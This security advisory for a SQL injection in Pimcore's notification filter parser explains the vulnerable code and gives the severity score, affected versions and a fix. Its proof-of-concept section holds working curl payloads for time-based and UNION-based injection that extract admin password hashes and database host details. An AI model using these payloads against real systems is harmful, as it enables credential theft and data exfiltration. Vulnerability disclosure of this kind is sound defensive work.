CVE-2026-115891pimcore/pimcore SQL Injection
NVD
Vulnerability Summary
Summary I found a SQL injection vulnerability in Pimcore's `NotificationServiceFilterParser`. The `getDbProperty()` method returns user-supplied filter property names as raw SQL column identifiers when they do not match the two-entry whitelist. The returned string is then interpolated directly into SQL condition strings without escaping or quoting. An attacker with access to the admin notification listing endpoint can inject arbitrary SQL by sending a crafted `filter` parameter. Details In `models/Notification/Service/NotificationServiceFilterParser.php` at line 180: ```php // NotificationServiceFilterParser.php line 180 private function getDbProperty(array $item): string { $property = $item[self::KEY_PROPERTY]; // KEY_PROPERTY = 'property' // $this->properties = ['title' => 'title', 'timestamp' => 'creationDate'] — only 2 entries return isset($this->properties[$property]) ? $this->properties[$property] : $property; // ^^^^^^^^^ // whitelist miss → returns raw user input as a SQL column name } ``` The returned value is used directly in SQL string interpolation in `parseString()` at line 108: ```php // parseString() line 108-113 $key = $property . '_like'; $result = [ $key, "{$property} LIKE :{$key}", // ← $property is raw user input in column-name position [$key => "%{$value}%"], ]; ``` And in `parseDate()`: ```php // parseDate() line 138-141 $result = [ $key, "{$property} BETWEEN :{$key}_start AND :{$key}_end", // ← same raw interpolation ... ]; ``` The condition string is passed to `NotificationService::findAll()` which calls `$listing->setCondition($condition, ...)`. The Notification listing DAO executes it as: ```sql SELECT id FROM notifications WHERE <injected> AND isStudio = 0 ``` No quoting or escaping is applied to `$property` at any point in the chain. PoC Prerequisites: - An active Pimcore admin session cookie (any admin or editor user with notification access) - Tools: `curl` ```bash TARGET="https://pimcore.example.com" SESSION="pimcore_admin_sid=<session-cookie>" Step 1 — Confirm normal notification listing works curl -s -X POST "$TARGET/admin/notifications/find" \ -H "Cookie: $SESSION" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'filter=[{"type":"string","property":"title","operator":"like","value":"test"}]' Expected: {"data": [...], "success": true} Step 2 — Time-based blind injection via property name (confirms column-name injection) time curl -s -X POST "$TARGET/admin/notifications/find" \ -H "Cookie: $SESSION" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'filter=[{"type":"string","property":"(SELECT 1 FROM (SELECT SLEEP(5))t)-- -","operator":"like","value":"x"}]' Expected: response takes ~5 seconds — confirms SQL injection Step 3 — UNION-based extraction of admin usernames and password hashes curl -s -X POST "$TARGET/admin/notifications/find" \ -H "Cookie: $SESSION" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'filter=[{"type":"string","property":"1 UNION SELECT id,username,password,email,5 FROM users-- -","operator":"like","value":""}]' | \ python3 -c "import sys,json; d=json.load(sys.stdin); [print(r) for r in d.get('data',[])]" Expected: rows containing admin usernames and bcrypt password hashes from the users table Step 4 — Read database configuration curl -s -X POST "$TARGET/admin/notifications/find" \ -H "Cookie: $SESSION" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'filter=[{"type":"string","property":"1 UNION SELECT 1,@@datadir,@@hostname,@@version,5-- -","operator":"like","value":""}]' | \ python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',[]))" Expected: MySQL data directory, hostname, and version information ``` Impact An authenticated admin or editor user can exploit this SQL injection to: 1. Extract all user credentials: admin usernames and bcrypt password hashes from the `users` table, enabling offline password cracking 2. Read all content and configuration: data objects, assets, documents, and system configuration including API keys and connection strings stored in the database 3. Access any database table: exfiltrate data from all tables accessible to the Pimcore database user 4. Modify data: via stacked queries (if the MySQL driver allows multi-statement execution), update user records, elevate privileges, or inject malicious content The vulnerability is in the column-name position of the WHERE clause — the most direct form of SQL injection with no encoding protections. Fix In `getDbProperty()` in `models/Notification/Service/NotificationServiceFilterParser.php`, throw an exception instead of returning the raw fallback value: ```php // Change: return isset($this->properties[$property]) ? $this->properties[$property] : $property; // To: if (!isset($this->properties[$property])) { throw new \InvalidArgumentException('Unknown filter property: ' . $property); } return $this->properties[$property]; ``` This ensures that only the two explicitly whitelisted property names (`title` → `title`, `timestamp` → `creationDate`) can reach the SQL string. Any unknown property returns a 400 error rather than being interpolated. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
CVSS v3.1 Base Metrics — Score 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- pimcore/pimcore >=2026.1.0, <= 2026.2.3
- pimcore/pimcore >= 12.3.0, <=12.3.11
- pimcore/pimcore 2026.2.4
- pimcore/pimcore 12.3.12
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run pimcore/pimcore and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Oct 26, 2026Published
- Oct 26, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new pimcore/pimcore CVEsYou are reading CVE-2026-115891. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 24, 2026 14:01 UTC